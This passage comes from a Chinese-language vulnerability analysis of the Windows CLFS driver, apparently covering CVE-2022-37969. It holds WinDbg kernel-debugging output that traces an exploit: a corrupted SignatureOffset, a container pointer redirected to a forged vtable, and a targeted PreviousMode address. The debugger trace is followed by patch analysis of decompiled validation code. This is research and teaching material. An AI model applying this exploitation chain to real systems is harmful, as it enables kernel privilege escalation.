ffffa282`9d668078 e2c8dc5c 11ed7dcb dfc0c3af 96701a04 ....}........p.
2: kd> p
CLFS!ClfsEncodeBlockPrivate+0xee:
fffff803`2cdf814e 0fb7442440 movzx eax,word ptr [rsp+40h]
//SignatureOffset已经变成了ffff0050
2: kd> dc ffffa2829d668068
ffffa282`9d668068 ffff0050 00000000 00000002 00000000 P...............
//继续对SignatureOffset字段下硬件断点
2: kd> ba r8 ffffa282`9d668068
//跳过2个CLFS!CClfsBaseFilePersisted::AddContainer来到这里
0: kd> p
0: kd> r
rax=000000000001120b rbx=ffffa2829d67a503 rcx=ffffa2829d67a503
rdx=0000000000000000 rsi=ffff9c034e229460 rdi=ffffa2829d668070
rip=fffff8032ce30207 rsp=ffff9c034e229410 rbp=00000000000000b0
r8=00000000000000b0 r9=00000000fffffff8 r10=fffff8032d5f08b0
r11=3333333333333333 r12=0000000000000060 r13=ffff9c034e2296d8
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x67:
fffff803`2ce30207 e874c8fcff call CLFS!memset (fffff803`2cdfca80)
//清零之前pcontainer指针的原始值
0: kd> dq ffffa2829d67a500
ffffa282`9d67a500 ffffa282`9e58a3c0 00000002`00000001
ffffa282`9d67a510 00000000`00000000 005c003f`003f005c
//可以看到指向源虚表
5: kd> dps ffffa282`9e58a3c0
ffffa282`9e58a3c0 fffff803`2ce035f0 CLFS!CClfsContainer::`vftable'
ffffa282`9e58a3c8 00000000`00080000
//继续走
0: kd> p
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x6c:
fffff803`2ce3020c 01af28130000 add dword ptr [rdi+1328h],ebp
//pcontainer指针高位已经没有了
0: kd> dq ffffa2829d67a500
ffffa282`9d67a500 00000000`0058a3c0 00000000`00000000
ffffa282`9d67a510 00000000`00000000 00000000`00000000
0: kd> dq 00000000`0058a3c0,//ffff8c03`80bf42aa是ThreadPreMode地址
00000000`0058a3c0 00000000`ffff0000 ffff8c03`80bf42aa
00000000`0058a3d0 00000000`ffff0000 ffff8c03`80bf42aa
0: kd> dq 00000000`ffff0000
00000000`ffff0000 00000000`12345678 fffff803`2d5f4da0
00000000`ffff0010 00000000`00000000 fffff803`2ce01cb0
//变成了我们伪造的虚表
0: kd> dps 00000000`ffff0000
00000000`ffff0000 00000000`12345678
00000000`ffff0008 fffff803`2d5f4da0 nt!SeSetAccessStateGenericMapping
00000000`ffff0010 00000000`00000000
00000000`ffff0018 fffff803`2ce01cb0 CLFS!ClfsEarlierLsn
//最后验证下我们的利用结果
2: kd> r
rax=fffff8032ce01cb0 rbx=0000000000000000 rcx=000000000058a3c0
rdx=0000000000000000 rsi=ffff8c0380bb9000 rdi=000000000058a3c0
rip=fffff8032ce16efc rsp=ffff9c034e2295e0 rbp=0000000000000400
r8=ffff9c034e2295b0 r9=0000000000000000 r10=0000000000000000
r11=ffff9c034e229570 r12=0000000000000000 r13=0000000000000001
r14=0000000000001400 r15=ffffa2829d67a4e8
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x14c:
fffff803`2ce16efc ff15ced6ffff call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff803`2ce145d0)] ds:002b:fffff803`2ce145d0={CLFS!guard_dispatch_icall_nop (fffff803`2cdfc780)}
2: kd> k
# Child-SP RetAddr Call Site
00 ffff9c03`4e2295e0 fffff803`2cdf120b CLFS!CClfsBaseFilePersisted::RemoveContainer+0x14c
01 ffff9c03`4e229640 fffff803`2cdf8b0f CLFS!CClfsLogFcbPhysical::DeleteBaseFileAndContainers+0xf3
02 ffff9c03`4e229690 fffff803`2cdf8761 CLFS!CClfsLogFcbPhysical::Finalize+0x39b
03 ffff9c03`4e2296c0 fffff803`2ce1df42 CLFS!CClfsLogFcbPhysical::Release+0xb1
04 ffff9c03`4e229720 fffff803`2ce20878 CLFS!CClfsRequest::Close+0xd6
05 ffff9c03`4e229770 fffff803`2ce20747 CLFS!ClfsDispatchIoRequest+0x108
06 ffff9c03`4e2297c0 fffff803`2d2adac5 CLFS!CClfsDriver::LogIoDispatch+0x27
07 ffff9c03`4e2297f0 fffff803`2d5f288f nt!IofCallDriver+0x55
08 ffff9c03`4e229830 fffff803`2d61baf0 nt!IopDeleteFile+0x14f
09 ffff9c03`4e2298b0 fffff803`2d2b01a7 nt!ObpRemoveObjectRoutine+0x80
0a ffff9c03`4e229910 fffff803`2d624449 nt!ObfDereferenceObjectWithTag+0xc7
0b ffff9c03`4e229950 fffff803`2d62827c nt!ObCloseHandleTableEntry+0x6c9
0c ffff9c03`4e229a90 fffff803`2d40c2b5 nt!NtClose+0xec
0d ffff9c03`4e229b00 00007ff9`67b0d124 nt!KiSystemServiceCopyEnd+0x25
0e 0000006c`0e6fdf18 00007ff9`6528a405 ntdll!NtClose+0x14
0f 0000006c`0e6fdf20 00000000`00000000 0x00007ff9`6528a405
2: kd> ln rax
Browse module
Set bu breakpoint
(fffff803`2ce01cb0) CLFS!ClfsEarlierLsn | (fffff803`2ce01d00) CLFS!ClfsLaterLsn
五 CVE-2022-37969补丁分析
signed __int64 __fastcall CClfsBaseFile::ValidateOffsets(CClfsBaseFile *this, struct _CLFS_BASE_RECORD_HEADER *const a2)
{
hr = CClfsBaseFile::ValidateContainerContextOffsets(v3, v7, v2);
if
( hr <
0
||
(hr = CClfsBaseFile::ValidateClientContextOffsets(v3, v7, v2), hr <
0
)
||
(hr = CClfsBaseFile::ValidateContainerSymTblOffsets(v3, v7, v2), hr <
0
)
||
(hr = CClfsBaseFile::ValidateClientSymTblOffsets(v3, v7, v2), hr <
0
) )
{
return
error;
}
signed __int64 __fastcall CClfsBaseFile::ValidateCheckifWithinSymbolZone(CClfsBaseFile *this, unsigned int offset, struct _CLFS_BASE_RECORD_HEADER *hdr)
{
if
( offset <
0x1338
||
offset -
0x1338
> hdr->cbSymbolZone )
return
=
0xC01A000D
i64;
else
return
= 0i64;
}
漏洞复现
六 相关引用
clfs逆向工程文档(https://github.com/ionescu007/clfs-docs/)
看雪ID:王cb
https://bbs.pediy.com/user-home-609565.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):年终CLFS漏洞汇总分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论